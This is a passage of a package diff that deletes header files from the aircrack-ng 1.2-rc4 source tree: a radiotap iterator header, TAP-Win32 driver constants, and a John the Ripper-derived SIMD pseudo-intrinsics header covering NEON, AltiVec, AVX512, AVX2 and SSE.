- * @_rtheader: pointer to the radiotap header we are walking through
- * @_max_length: length of radiotap header in cpu byte ordering
- * @_arg_index: next argument index
- * @_arg: next argument pointer
- * @_next_bitmap: internal pointer to next present u32
- * @_bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present
- * @_vns: vendor namespace definitions
- * @_next_ns_data: beginning of the next namespace's data
- * @_reset_on_ext: internal; reset the arg index to 0 when going to the
- *	next bitmap word
- *
- * Describes the radiotap parser state. Fields prefixed with an underscore
- * must not be used by users of the parser, only by the parser internally.
- */
-
-struct ieee80211_radiotap_iterator {
-	struct ieee80211_radiotap_header *_rtheader;
-	const struct ieee80211_radiotap_vendor_namespaces *_vns;
-	const struct ieee80211_radiotap_namespace *current_namespace;
-
-	unsigned char *_arg, *_next_ns_data;
-	uint32_t *_next_bitmap;
-
-	unsigned char *this_arg;
-#ifdef RADIOTAP_SUPPORT_OVERRIDES
-	const struct radiotap_override *overrides;
-	int n_overrides;
-#endif
-	int this_arg_index;
-	int this_arg_size;
-
-	int is_radiotap_ns;
-
-	int _max_length;
-	int _arg_index;
-	uint32_t _bitmap_shifter;
-	int _reset_on_ext;
-};
-
-extern int ieee80211_radiotap_iterator_init(
-	struct ieee80211_radiotap_iterator *iterator,
-	struct ieee80211_radiotap_header *radiotap_header,
-	int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns);
-
-extern int ieee80211_radiotap_iterator_next(
-	struct ieee80211_radiotap_iterator *iterator);
-
-#endif /* __RADIOTAP_ITER_H */

aircrack-ng-1.2-rc4.tar.gz/src/osdep/tap-win32 Deleted

aircrack-ng-1.2-rc4.tar.gz/src/osdep/tap-win32/common.h Deleted

@@ -1,82 +0,0 @@
-/*
- *  TAP-Win32 -- A kernel driver to provide virtual tap device functionality
- *               on Windows.  Originally derived from the CIPE-Win32
- *               project by Damion K. Wilson, with extensive modifications by
- *               James Yonan.
- *
- *  All source code which derives from the CIPE-Win32 project is
- *  Copyright (C) Damion K. Wilson, 2003, and is released under the
- *  GPL version 2 (see below).
- *
- *  All other source code is Copyright (C) 2002-2005 OpenVPN Solutions LLC,
- *  and is released under the GPL version 2 (see below).
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License version 2
- *  as published by the Free Software Foundation.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program (see the file COPYING included with this
- *  distribution); if not, write to the Free Software Foundation, Inc.,
- *  59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-
-//===============================================
-// This file is included both by OpenVPN and
-// the TAP-Win32 driver and contains definitions
-// common to both.
-//===============================================
-
-//=============
-// TAP IOCTLs
-//=============
-
-#define TAP_CONTROL_CODE(request,method) \
-  CTL_CODE (FILE_DEVICE_UNKNOWN, request, method, FILE_ANY_ACCESS)
-
-// Present in 8.1
-
-#define TAP_IOCTL_GET_MAC               TAP_CONTROL_CODE (1, METHOD_BUFFERED)
-#define TAP_IOCTL_GET_VERSION           TAP_CONTROL_CODE (2, METHOD_BUFFERED)
-#define TAP_IOCTL_GET_MTU               TAP_CONTROL_CODE (3, METHOD_BUFFERED)
-#define TAP_IOCTL_GET_INFO              TAP_CONTROL_CODE (4, METHOD_BUFFERED)
-#define TAP_IOCTL_CONFIG_POINT_TO_POINT TAP_CONTROL_CODE (5, METHOD_BUFFERED)
-#define TAP_IOCTL_SET_MEDIA_STATUS      TAP_CONTROL_CODE (6, METHOD_BUFFERED)
-#define TAP_IOCTL_CONFIG_DHCP_MASQ      TAP_CONTROL_CODE (7, METHOD_BUFFERED)
-#define TAP_IOCTL_GET_LOG_LINE          TAP_CONTROL_CODE (8, METHOD_BUFFERED)
-#define TAP_IOCTL_CONFIG_DHCP_SET_OPT   TAP_CONTROL_CODE (9, METHOD_BUFFERED)
-
-// Added in 8.2
-
-/* obsoletes TAP_IOCTL_CONFIG_POINT_TO_POINT */
-#define TAP_IOCTL_CONFIG_TUN            TAP_CONTROL_CODE (10, METHOD_BUFFERED)
-
-//=================
-// Registry keys
-//=================
-
-#define ADAPTER_KEY "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}"
-
-#define NETWORK_CONNECTIONS_KEY "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}"
-
-//======================
-// Filesystem prefixes
-//======================
-
-#define USERMODEDEVICEDIR "\\\\.\\Global\\"
-#define SYSDEVICEDIR      "\\Device\\"
-#define USERDEVICEDIR     "\\DosDevices\\Global\\"
-#define TAPSUFFIX         ".tap"
-
-//=========================================================
-// TAP_COMPONENT_ID -- This string defines the TAP driver
-// type -- different component IDs can reside in the system
-// simultaneously.
-//=========================================================
-
-#define TAP_COMPONENT_ID "tap0801"

aircrack-ng-1.2-rc4.tar.gz/src/pseudo_intrinsics.h Deleted

@@ -1,672 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * Minimalistic pseudo-instrinsics for width-agnostic x86 SIMD code.
- *
- * This software is Copyright (c) 2015 magnum,
- * Copyright (c) 2015 JimF,
- * Copyright (c) 2015 Lei Zhang,
- * and it is hereby released to the general public under the following terms:
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * Synopsis:
- *
- * SSE2:     __m128i a = _mm_add_epi32(b, c);
- * AVX2:     __m256i a = _mm256_add_epi32(b, c);
- * AVX512:   __m512i a = _mm512_add_epi32(b, c);
- * -> Pseudo:  vtype a = vadd_epi32(b, c);
- *
- * SSE2:     __m128i a = _mm_load_si128(p);
- * AVX2:     __m256i a = _mm256_load_si256(p);
- * AVX512:   __m512i a = _mm512_load_si512(p);
- * -> Pseudo:  vtype a = vload(p);
- *
- * intrinsics are emulated where the target does not support them.
- */
-
-#ifndef _SSE_PSEUDO_H
-#define _SSE_PSEUDO_H
-
-#include "arch.h"
-
-#if SIMD_COEF_32
-
-#include "aligned.h"
-#include "stdint.h"
-#include "jcommon.h" /* for is_aligned() */
-
-
-/*************************** NEON (ARM) *******************************/
-#ifdef __ARM_NEON__
-#include <arm_neon.h>
-
-typedef uint8x16_t vtype8;
-typedef uint32x4_t vtype; /* the default one */
-typedef uint64x2_t vtype64;
-
-#define vadd_epi32              vaddq_u32
-#define vadd_epi64(x, y)        (vtype)vaddq_u64((vtype64)(x), (vtype64)(y))
-#define vand                    vandq_u32
-#define vandnot(x, y)           vbicq_u32(y, x)
-#define vcmov(x, y, z)          vbslq_u32(z, x, y)
-#define vload(m)                vld1q_u32((uint32_t*)(m))
-#define vloadu                  vloadu_emu
-#define VLOADU_EMULATED         1
-#define vor                     vorrq_u32
-#define vorn                    vornq_u32
-#define vroti_epi32(x, i)       (i > 0 ? vsliq_n_u32(vshrq_n_u32(x, 32-(i)), x, i) : \
-                                         vsriq_n_u32(vshlq_n_u32(x, 32+(i)), x, -(i)))
-#define vroti_epi64(x, i)       (i > 0 ? (vtype)vsliq_n_u64(vshrq_n_u64((vtype64)(x), 64-(i)), (vtype64)(x), i) : \
-                                         (vtype)vsriq_n_u64(vshlq_n_u64((vtype64)(x), 64+(i)), (vtype64)(x), -(i)))
-#define vroti16_epi32           vroti_epi32
-#define vset1_epi32(x)          vdupq_n_u32(x)
-#define vset1_epi64(x)          (vtype)vdupq_n_u64(x)
-#define vset_epi32(x3,x2,x1,x0) vcombine_u32(vcreate_u32(((uint64_t)(x1) << 32) | x0), vcreate_u32(((uint64_t)(x3) << 32) | x2))
-#define vset_epi64(x1,x0)       (vtype)vcombine_u64(vcreate_u64(x0), vcreate_u64(x1))
-#define vsetzero()              vset1_epi32(0)
-#define vslli_epi32(x, i)       vshlq_n_u32(x, i)
-#define vslli_epi64(x, i)       (vtype)vshlq_n_u64((vtype64)(x), i)
-#define vsrli_epi32(x, i)       vshrq_n_u32(x, i)
-#define vsrli_epi64(x, i)       (vtype)vshrq_n_u64((vtype64)(x), i)
-#define vstore(m, x)            vst1q_u32((uint32_t*)(m), x)
-#define vstoreu                 vstoreu_emu
-#define VSTOREU_EMULATED        1
-#define vunpackhi_epi32(x, y)   (vzipq_u32(x, y)).val[1]
-#define vunpackhi_epi64(x, y)   vset_epi64(vgetq_lane_u64((vtype64)(y), 1), vgetq_lane_u64((vtype64)(x), 1))
-#define vunpacklo_epi32(x, y)   (vzipq_u32(x, y)).val[0]
-#define vunpacklo_epi64(x, y)   vset_epi64(vgetq_lane_u64((vtype64)(y), 0), vgetq_lane_u64((vtype64)(x), 0))
-#define vxor                    veorq_u32
-
-static inline int vanyeq_epi32(vtype x, vtype y)
-{
-	vtype z = vceqq_u32(x, y);
-	return vgetq_lane_u32(z, 0) || vgetq_lane_u32(z, 1) ||
-	       vgetq_lane_u32(z, 2) || vgetq_lane_u32(z, 3);
-}
-
-#define vswap32(x)              (x = (vtype)vrev32q_u8((vtype8)x))
-#define vswap64(x)              (x = (vtype)vrev64q_u8((vtype8)x))
-
-#define GATHER64(x,y,z)     { x = vset_epi64 (y[1][z], y[0][z]); }
-
-/*************************** AltiVec (Power) **************************/
-#elif __ALTIVEC__
-#include <altivec.h>
-
-typedef vector unsigned int vtype32;
-typedef vector unsigned long vtype64;
-typedef union {
-	vtype32 v32;
-	vtype64 v64;
-	uint32_t s32[SIMD_COEF_32];
-	uint64_t s64[SIMD_COEF_64];
-} vtype;
-
-#define vadd_epi32(x, y)        (vtype)vec_add((x).v32, (y).v32)
-#define vadd_epi64(x, y)        (vtype)vec_add((x).v64, (y).v64)
-#define vand(x, y)              (vtype)vec_and((x).v32, (y).v32)
-#define vandnot(x, y)           (vtype)vec_andc((y).v32, (x).v32)
-#define vcmov(x, y, z)          (vtype)vec_sel((y).v32, (x).v32, (z).v32)
-#define vload(m)                (vtype)(vtype32)vec_ld(0, (uint32_t*)(m))
-#define vloadu                  vloadu_emu
-#define VLOADU_EMULATED         1
-#define vor(x, y)               (vtype)vec_or((x).v32, (y).v32)
-#define vroti_epi32(x, i)       (vtype)vec_rl((x).v32, (vset1_epi32(i)).v32)
-#define vroti_epi64(x, i)       (vtype)vec_rl((x).v64, (vset1_epi64(i)).v64)
-#define vroti16_epi32           vroti_epi32
-#define vset1_epi32(x)          vset_epi32(x, x, x, x)
-#define vset1_epi64(x)          vset_epi64(x, x)
-#define vset_epi32(x3,x2,x1,x0) (vtype)(vtype32){x0, x1, x2, x3}
-#define vset_epi64(x1,x0)       (vtype)(vtype64){x0, x1}
-#define vsetzero()              vset1_epi32(0)
-#define vslli_epi32(x, i)       (vtype)vec_sl((x).v32, (vset1_epi32(i)).v32)
-#define vslli_epi64(x, i)       (vtype)vec_sl((x).v64, (vset1_epi64(i)).v64)
-#define vsrli_epi32(x, i)       (vtype)vec_sr((x).v32, (vset1_epi32(i)).v32)
-#define vsrli_epi64(x, i)       (vtype)vec_sr((x).v64, (vset1_epi64(i)).v64)
-#define vstore(m, x)            vec_st((x).v32, 0, (uint32_t*)(m))
-#define vstoreu                 vstoreu_emu
-#define VSTOREU_EMULATED        1
-#define vunpackhi_epi32(x, y)   (vtype)vec_mergel((x).v32, (y).v32)
-#define vunpackhi_epi64(x, y)   (vtype)(vtype64)vec_mergel((vector long)(x).v64, (vector long)(y).v64)
-#define vunpacklo_epi32(x, y)   (vtype)vec_mergeh((x).v32, (y).v32)
-#define vunpacklo_epi64(x, y)   (vtype)(vtype64)vec_mergeh((vector long)(x).v64, (vector long)(y).v64)
-#define vxor(x, y)              (vtype)vec_xor((x).v32, (y).v32)
-
-#define vanyeq_epi32(x, y)     vec_any_eq((x).v32, (y).v32)
-
-#define vswap32                 vswap32_emu
-#define vswap64                 vswap64_emu
-
-#define GATHER64(x,y,z)     { x = vset_epi64 (y[1][z], y[0][z]); }
-
-/*************************** AVX512 and MIC ***************************/
-#elif __AVX512F__ || __MIC__
-#include <immintrin.h>
-
-typedef __m512i vtype;
-
-#define vadd_epi32              _mm512_add_epi32
-#define vadd_epi64              _mm512_add_epi64
-#define vand                    _mm512_and_si512
-#define vandnot                 _mm512_andnot_si512
-#define vcmov                   vcmov_emu
-#define VCMOV_EMULATED          1
-/*
- * NOTE: AVX2 has it as (base, index, scale) while MIC and AVX512 are
- * different.
- */
-#define vgather_epi32(b, i, s)  _mm512_i32gather_epi32(i, (void*)(b), s)
-#define vgather_epi64(b, i, s)  _mm512_i64gather_epi64(i, (void*)(b), s)
-#define vload(x)                _mm512_load_si512((void*)(x))
-#define vloadu(x)               _mm512_loadu_si512((void*)(x))
-#define vor                     _mm512_or_si512
-#define vroti_epi32             vroti_epi32_emu
-#define vroti_epi64             vroti_epi64_emu
-#define vroti16_epi32           vroti_epi32
-#define vscatter_epi32(b,i,v,s) _mm512_i32scatter_epi32((void*)b, i, v, s)
-#define vscatter_epi64(b,i,v,s) _mm512_i64scatter_epi64((void*)b, i, v, s)
-#define vset1_epi8              _mm512_set1_epi8
-#define vset1_epi32             _mm512_set1_epi32
-#define vset1_epi64             _mm512_set1_epi64
-#define vset_epi32              _mm512_set_epi32
-#define vset_epi64              _mm512_set_epi64
-#define vsetzero                _mm512_setzero_si512
-#define vshuffle_epi32          _mm512_shuffle_epi32
-#define vslli_epi32             _mm512_slli_epi32
-#define vslli_epi64             _mm512_slli_epi64
-#define vsrli_epi32             _mm512_srli_epi32
-#define vsrli_epi64             _mm512_srli_epi64
-#define vstore(x, y)            _mm512_store_si512((void*)(x), y)
-#define vstoreu(x, y)           _mm512_storeu_si512((void*)(x), y)
-#define vunpackhi_epi32         _mm512_unpackhi_epi32
-#define vunpackhi_epi64         _mm512_unpackhi_epi64
-#define vunpacklo_epi32         _mm512_unpacklo_epi32
-#define vunpacklo_epi64         _mm512_unpacklo_epi64
-#define vxor                    _mm512_xor_si512
-
-#define vanyeq_epi32(x, y)     _mm512_cmp_epi32_mask(x, y, _MM_CMPINT_EQ)
-
-#define GATHER_4x(x, y, z)                               \
-{                                                        \
-    vtype indices = vset_epi32(15<<6,14<<6,13<<6,12<<6,  \
-                               11<<6,10<<6, 9<<6, 8<<6,  \
-                                7<<6, 6<<6, 5<<6, 4<<6,  \
-                                3<<6, 2<<6, 1<<6, 0<<6); \
-    x = vgather_epi32(&y[z], indices, sizeof(y[z]));     \
-}
-#define GATHER_2x(x, y, z)                               \
-{                                                        \
-    vtype indices = vset_epi32(15<<5,14<<5,13<<5,12<<5,  \
-                               11<<5,10<<5, 9<<5, 8<<5,  \
-                                7<<5, 6<<5, 5<<5, 4<<5,  \
-                                3<<5, 2<<5, 1<<5, 0<<5); \
-    x = vgather_epi32(&y[z], indices, sizeof(y[z]));     \
-}
-#define GATHER(x, y, z)                                  \
-{                                                        \
-    vtype indices = vset_epi32(15<<4,14<<4,13<<4,12<<4,  \
-                               11<<4,10<<4, 9<<4, 8<<4,  \
-                                7<<4, 6<<4, 5<<4, 4<<4,  \
-                                3<<4, 2<<4, 1<<4, 0<<4); \
-    x = vgather_epi32(&y[z], indices, sizeof(y[z]));     \
-}
-
-#define GATHER64(x, y, z)                                               \
-{                                                                       \
-    uint64_t stride = sizeof(*y);                                       \
-    vtype indices = vset_epi64(7*stride, 6*stride, 5*stride, 4*stride,  \
-                               3*stride, 2*stride, 1*stride, 0);        \
-    x = vgather_epi64(&y[0][z], indices, 1);                            \
-}
-
-#if __AVX512F__
-#undef vcmov
-#undef VCMOV_EMULATED
-#define vcmov(x, y, z)          vternarylogic(x, y, z, 0xE4)
-#define vternarylogic           _mm512_ternarylogic_epi32
-#endif
-
-#if __AVX512BW__
-#define vcmpeq_epi8_mask        (uint64_t)_mm512_cmpeq_epi8_mask
-#define vshuffle_epi8           _mm512_shuffle_epi8
-#define vshufflehi_epi16        _mm512_shufflehi_epi16
-#define vshufflelo_epi16        _mm512_shufflelo_epi16
-#define vslli_epi16             _mm512_slli_epi16
-#define vsrli_epi16             _mm512_srli_epi16
-
-#define vswap32(n)                                              \
-    n = vshuffle_epi8(n, vset_epi32(0x3c3d3e3f, 0x38393a3b,     \
-                                    0x34353637, 0x30313233,     \
-                                    0x2c2d2e2f, 0x28292a2b,     \
-                                    0x24252627, 0x20212223,     \
-                                    0x1c1d1e1f, 0x18191a1b,     \
-                                    0x14151617, 0x10111213,     \
-                                    0x0c0d0e0f, 0x08090a0b,     \
-                                    0x04050607, 0x00010203))
-#define vswap64(n) \
-    n = vshuffle_epi8(n, vset_epi64(0x38393a3b3c3d3e3fULL, \
-                                    0x3031323334353637ULL, \
-                                    0x28292a2b2c2d2e2fULL, \
-                                    0x2021222324252627ULL, \
-                                    0x18191a1b1c1d1e1fULL, \
-                                    0x1011121314151617ULL, \
-                                    0x08090a0b0c0d0e0fULL, \
-                                    0x0001020304050607ULL))
-#else /* workarounds without AVX512BW */
-#define vswap32 vswap32_emu
-#define vswap64(x) \
-	(x = vshuffle_epi32(x, _MM_SHUFFLE(2, 3, 0, 1)), vswap32(x))
-
-#endif /* __AVX512BW__ */
-
-/* MIC lacks some intrinsics in AVX512F, thus needing emulation. */
-#if __MIC__
-#define _mm512_set1_epi8(x) _mm512_set1_epi32(x | x<<8 | x<<16 | x<<24)
-
-static inline __m512i _mm512_loadu_si512(void const *addr)
-{
-	__m512i indices = _mm512_set_epi64(7, 6, 5, 4, 3, 2, 1, 0);
-	return is_aligned(addr, 64) ? _mm512_load_si512(addr) :
-	                              _mm512_i64gather_epi64(indices, addr, 8);
-}
-
-static inline void _mm512_storeu_si512(void *addr, vtype d)
-{
-	__m512i indices = _mm512_set_epi64(7, 6, 5, 4, 3, 2, 1, 0);
-
-	if (is_aligned(addr, 64))
-		_mm512_store_si512(addr, d);
-	else
-		_mm512_i64scatter_epi64(addr, indices, d, 8);
-}
-#endif /* __MIC__ */
-
-/******************************** AVX2 ********************************/
-#elif __AVX2__
-#include <immintrin.h>
-
-typedef __m256i vtype;
-
-#define vadd_epi32              _mm256_add_epi32
-#define vadd_epi64              _mm256_add_epi64
-#define vand                    _mm256_and_si256
-#define vandnot                 _mm256_andnot_si256
-#define vcmov                   vcmov_emu
-#define VCMOV_EMULATED          1
-#define vcmpeq_epi8_mask(a, b)  _mm256_movemask_epi8(_mm256_cmpeq_epi8(a, b))
-#define vcmpeq_epi32            _mm256_cmpeq_epi32
-#define vcvtsi32                _mm256_cvtsi32_si256
-#define vgather_epi32(b, i, s)  _mm256_i32gather_epi32((void*)(b), i, s)
-#define vgather_epi64(b, i, s)  _mm256_i64gather_epi64((void*)(b), i, s)
-#define vinsert_epi32           _mm256_insert_epi32
-#define vload(x)                _mm256_load_si256((void*)(x))
-#define vloadu(x)               _mm256_loadu_si256((void*)(x))
-#define vmovemask_epi8          _mm256_movemask_epi8
-#define vor                     _mm256_or_si256
-#define vpermute2x128           _mm256_permute2x128_si256
-#define vpermute4x64_epi64      _mm256_permute4x64_epi64
-#define vroti_epi32             vroti_epi32_emu
-#define vroti_epi64             vroti_epi64_emu
-#define vroti16_epi32           vroti_epi32
-#define vset1_epi8              _mm256_set1_epi8
-#define vset1_epi32             _mm256_set1_epi32
-#define vset1_epi64             _mm256_set1_epi64x
-#define vset_epi32              _mm256_set_epi32
-#define vset_epi64              _mm256_set_epi64x
-#define vsetzero                _mm256_setzero_si256
-#define vshuffle_epi8           _mm256_shuffle_epi8
-#define vshuffle_epi32          _mm256_shuffle_epi32
-#define vshufflehi_epi16        _mm256_shufflehi_epi16
-#define vshufflelo_epi16        _mm256_shufflelo_epi16
-#define vslli_epi16             _mm256_slli_epi16
-#define vslli_epi32             _mm256_slli_epi32
-#define vslli_epi64             _mm256_slli_epi64
-#define vsrli_epi16             _mm256_srli_epi16
-#define vsrli_epi32             _mm256_srli_epi32
-#define vsrli_epi64             _mm256_srli_epi64
-#define vstore(x, y)            _mm256_store_si256((void*)(x), y)
-#define vstoreu(x, y)           _mm256_storeu_si256((void*)(x), y)
-#define vunpackhi_epi32         _mm256_unpackhi_epi32
-#define vunpackhi_epi64         _mm256_unpackhi_epi64
-#define vunpacklo_epi32         _mm256_unpacklo_epi32
-#define vunpacklo_epi64         _mm256_unpacklo_epi64
-#define vxor                    _mm256_xor_si256
-
-#define vanyeq_epi32(x, y)     vmovemask_epi8(vcmpeq_epi32(x, y))
-
-#define swap_endian_mask                                                \
-    _mm256_set_epi32(0x1c1d1e1f, 0x18191a1b, 0x14151617, 0x10111213,    \
-                     0x0c0d0e0f, 0x08090a0b, 0x04050607, 0x00010203)
-
-#define swap_endian64_mask                                    \
-    vset_epi64(0x18191a1b1c1d1e1fULL, 0x1011121314151617ULL, \
-               0x08090a0b0c0d0e0fULL, 0x0001020304050607ULL)
-
-#define vswap32(n)                              \
-    (n = vshuffle_epi8(n, swap_endian_mask))
-
-#define vswap64(n)                              \
-    (n = vshuffle_epi8(n, swap_endian64_mask))
-
-#define GATHER_4x(x, y, z)                           \
-{                                                    \
-    vtype indices = vset_epi32(7<<6,6<<6,5<<6,4<<6,  \
-                               3<<6,2<<6,1<<6,0<<6); \
-    x = vgather_epi32(&y[z], indices, sizeof(y[z])); \
-}
-#define GATHER_2x(x, y, z)                           \
-{                                                    \
-    vtype indices = vset_epi32(7<<5,6<<5,5<<5,4<<5,  \
-                               3<<5,2<<5,1<<5,0<<5); \
-    x = vgather_epi32(&y[z], indices, sizeof(y[z])); \
-}
-#define GATHER(x, y, z)                              \
-{                                                    \
-    vtype indices = vset_epi32(7<<4,6<<4,5<<4,4<<4,  \
-                               3<<4,2<<4,1<<4,0<<4); \
-    x = vgather_epi32(&y[z], indices, sizeof(y[z])); \
-}
-
-#define GATHER64(x, y, z)                                         \
-{                                                                 \
-    uint64_t stride = sizeof(*y);                                 \
-    vtype indices = vset_epi64(3*stride, 2*stride, 1*stride, 0);  \
-    x = vgather_epi64(&y[0][z], indices, 1);                      \
-}
-
-/************************* SSE2/3/4/AVX/XOP ***************************/
-#elif __SSE2__
-
-#if __XOP__
-#include <x86intrin.h>
-#elif __AVX__
-#include <immintrin.h>
-#elif __SSE4_1__
-#include <smmintrin.h>
-#elif __SSSE3__
-#include <tmmintrin.h>
-#endif
-
-#include <emmintrin.h>
-
-typedef __m128i vtype;
-
-#define vadd_epi32              _mm_add_epi32
-#define vadd_epi64              _mm_add_epi64
-#define vand                    _mm_and_si128
-#define vandnot                 _mm_andnot_si128
-#if __XOP__
-#define vcmov                   _mm_cmov_si128
-#else
-#define vcmov                   vcmov_emu
-#define VCMOV_EMULATED          1
-#endif
-#define vcmpeq_epi8_mask(a, b)  _mm_movemask_epi8(_mm_cmpeq_epi8(a, b))
-#define vcmpeq_epi32            _mm_cmpeq_epi32
-#if __SSE4_1__
-#define vcvtsi32                _mm_cvtsi32_si128
-#endif
-#define vinsert_epi32           _mm_insert_epi32
-#define vload(x)                _mm_load_si128((const vtype*)(x))
-#define vloadu(x)               _mm_loadu_si128((const vtype*)(x))
-#define vmovemask_epi8          _mm_movemask_epi8
-#define vor                     _mm_or_si128
-#define vpermute4x64_epi64      _mm_permute4x64_epi64
-#define vpermute2x128           _mm_permute2x128_si128
-#if __XOP__
-#define vroti_epi32             _mm_roti_epi32
-#define vroti16_epi32           _mm_roti_epi32
-#define vroti_epi64             _mm_roti_epi64
-#else
-#define vroti_epi32             vroti_epi32_emu
-#define vroti_epi64             vroti_epi64_emu
-/* Specialized ROTL16 for SSE4.1 and lower (eg. MD5) */
-#if __SSSE3__
-#define vroti16_epi32(a, s)     vshuffle_epi8((a), vset_epi32(0x0d0c0f0e, 0x09080b0a, 0x05040706, 0x01000302))
-#elif __SSE2__
-#define vroti16_epi32(a, s)     vshufflelo_epi16(vshufflehi_epi16((a), 0xb1), 0xb1)
-#else
-#define vroti16_epi32           vroti_epi32
-#endif /* __SSSE3__ */
-#endif /* __XOP__ */
-#define vset_epi32              _mm_set_epi32
-#define vset1_epi8              _mm_set1_epi8
-#define vset1_epi32             _mm_set1_epi32
-#ifndef _MSC_VER
-#define vset1_epi64             _mm_set1_epi64x
-#define vset_epi64              _mm_set_epi64x
-#else
-#define vset1_epi64             _mm_set1_epi64
-#define vset_epi64              _mm_set_epi64
-#endif
-#define vsetzero                _mm_setzero_si128
-#if __SSSE3__
-#define vshuffle_epi8           _mm_shuffle_epi8
-#endif
-#define vshuffle_epi32          _mm_shuffle_epi32
-#define vshufflehi_epi16        _mm_shufflehi_epi16
-#define vshufflelo_epi16        _mm_shufflelo_epi16
-#define vslli_epi16             _mm_slli_epi16
-#define vslli_epi32             _mm_slli_epi32
-#define vslli_epi64             _mm_slli_epi64
-#define vsrli_epi16             _mm_srli_epi16
-#define vsrli_epi32             _mm_srli_epi32
-#define vsrli_epi64             _mm_srli_epi64
-#define vstore(x, y)            _mm_store_si128((vtype*)(x), y)
-#define vstoreu(x, y)           _mm_storeu_si128((vtype*)(x), y)
-#define vunpackhi_epi32         _mm_unpackhi_epi32
-#define vunpackhi_epi64         _mm_unpackhi_epi64
-#define vunpacklo_epi32         _mm_unpacklo_epi32
-#define vunpacklo_epi64         _mm_unpacklo_epi64
-#define vxor                    _mm_xor_si128
-
-#define vanyeq_epi32(x, y)     vmovemask_epi8(vcmpeq_epi32(x, y))
-
-#if __SSSE3__
-
-#define swap_endian_mask    \
-    vset_epi32(0x0c0d0e0f, 0x08090a0b, 0x04050607, 0x00010203)
-#define vswap32(n)              (n = vshuffle_epi8(n, swap_endian_mask))
-
-#define swap_endian64_mask  \
-    vset_epi64(0x08090a0b0c0d0e0fULL, 0x0001020304050607ULL)
-#define vswap64(n)              (n = vshuffle_epi8(n, swap_endian64_mask))
-
-#else /* Just basic SSE2 */
-
-#define vswap32(n)                                  \
-    (n = vxor(                                      \
-        vsrli_epi16(                                \
-            vroti16_epi32(n,16), 8),                \
-            vslli_epi16(vroti16_epi32(n,16), 8)))
-
-#define vswap64(n)                                              \
-    (                                                           \
-        n = vshufflehi_epi16(vshufflelo_epi16(n, 0xb1), 0xb1),  \
-        n = vxor(vslli_epi16(n, 8), vsrli_epi16(n, 8)),         \
-        n = vshuffle_epi32(n, 0xb1)                             \
-    )
-
-#endif /* __SSSE3__ */
-
-#if __SSE4_1__
-#define GATHER_4x(x, y, z)                      \
-{                                               \
-    x = vcvtsi32(   y[z]   );                   \
-    x = vinsert_epi32(x, y[z+(1<<6)], 1);       \
-    x = vinsert_epi32(x, y[z+(2<<6)], 2);       \
-    x = vinsert_epi32(x, y[z+(3<<6)], 3);       \
-}
-#define GATHER_2x(x, y, z)                      \
-{                                               \
-    x = vcvtsi32(   y[z]   );                   \
-    x = vinsert_epi32(x, y[z+(1<<5)], 1);       \
-    x = vinsert_epi32(x, y[z+(2<<5)], 2);       \
-    x = vinsert_epi32(x, y[z+(3<<5)], 3);       \
-}
-#define GATHER(x, y, z)                         \
-{                                               \
-    x = vcvtsi32(   y[z]   );                   \
-    x = vinsert_epi32(x, y[z+(1<<4)], 1);       \
-    x = vinsert_epi32(x, y[z+(2<<4)], 2);       \
-    x = vinsert_epi32(x, y[z+(3<<4)], 3);       \
-}
-#endif /* __SSE4_1__ */
-
-#define GATHER64(x,y,z)     { x = vset_epi64 (y[1][z], y[0][z]); }
-
-#if _MSC_VER && !_M_X64
-/*
- * These are slow, but the F'n 32 bit compiler will not build these intrinsics.
- * Only the 64-bit (Win64) MSVC compiler has these as intrinsics. These slow
- * ones let me debug, and develop this code, and work, but use CPU
- */
-#define _mm_set_epi64 __mm_set_epi64
-#define _mm_set1_epi64 __mm_set1_epi64
-_inline __m128i _mm_set_epi64(long long a, long long b)
-{
-	__m128i x;
-
-	x.m128i_i64[0] = b;
-	x.m128i_i64[1] = a;
-	return x;
-}
-_inline __m128i _mm_set1_epi64(long long a)
-{
-	__m128i x;
-
-	x.m128i_i64[0] = x.m128i_i64[1] = a;
-	return x;
-}
-#define vset1_epi64x(x)         vset_epi64x(x, x)
-#define vset_epi64x(x1, x0)     (vtype)(vtype64){x0, x1}
-#endif
-
-/******************************** MMX *********************************/
-
-#elif __MMX__
-#include <mmintrin.h>
-
-typedef __m64i vtype;
-
-#error MMX intrinsics not implemented (contributions are welcome!)
-
-#endif /* __SIMD__ elif __SIMD__ elif __SIMD__ */
-
-/************************* COMMON STUFF BELOW *************************/
-
-#ifdef _MSC_VER
-#define MEM_ALIGN_SIMD			16
-#define INLINE _inline
-#else
-#define MEM_ALIGN_SIMD          (SIMD_COEF_32 * 4)
